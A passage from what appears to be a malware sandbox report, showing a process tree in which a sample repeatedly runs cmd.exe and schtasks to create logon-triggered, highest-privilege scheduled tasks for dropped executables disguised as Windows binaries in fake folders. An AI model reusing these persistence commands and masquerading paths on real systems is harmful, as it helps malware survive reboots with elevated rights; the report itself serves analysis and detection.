    schtasks /create /tn "WinTask_AssertMerge_16" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_17" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_17" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:12148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_chkdsk_18" /tr ""C:\ProgramData\MicrosoftService\chkdsk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_chkdsk_18" /tr ""C:\ProgramData\MicrosoftService\chkdsk.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_clip_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_clip_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_21" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9412
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_21" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4888
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_22" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9440
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_22" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_23" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_23" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7360
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_26" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9476
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_26" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:9488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_28" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9500
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_28" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9508
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_31" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_31" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:9112
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_1" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_1" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12660
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10660
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6820
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9048
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscadminui_3" /tr ""C:\ProgramData\MicrosoftService\wscadminui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscadminui_3" /tr ""C:\ProgramData\MicrosoftService\wscadminui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11308
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:10680
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11440
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_5" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_5" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_subst_6" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_subst_6" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11448
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_backgroundTaskHost_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:10712
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_backgroundTaskHost_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_8" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10724
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_8" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:11280
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:11908
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_ssp_isv_11" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_ssp_isv_11" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_12" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_12" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_13" /tr ""C:\ProgramData\ssh\Logs\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_13" /tr ""C:\ProgramData\ssh\Logs\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9208
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3592
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_15" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_15" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_16" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_16" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:10812
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systray_18" /tr ""C:\ProgramData\Packages\Logs\systray.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10824
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systray_18" /tr ""C:\ProgramData\Packages\Logs\systray.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:12292
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_clip_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:10840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_clip_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_ssp_isv_21" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:10848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_ssp_isv_21" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_22" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_22" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_23" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:10868
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_23" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11768
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_autochk_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\autochk.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_AssertMerge_26" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_AssertMerge_26" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8808
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_clip_27" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_clip_27" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_28" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:10924
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_28" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:11724
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:10932
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ResizeUpdate_31" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:10956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ResizeUpdate_31" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12620
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_32" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10968
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7512
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_32" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8972
- C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\takeown.exe
  "C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\takeown.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  - Modifies file permissions
  PID:4808
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:11460
- - C:\Windows\SysWOW64\schtasks.exe
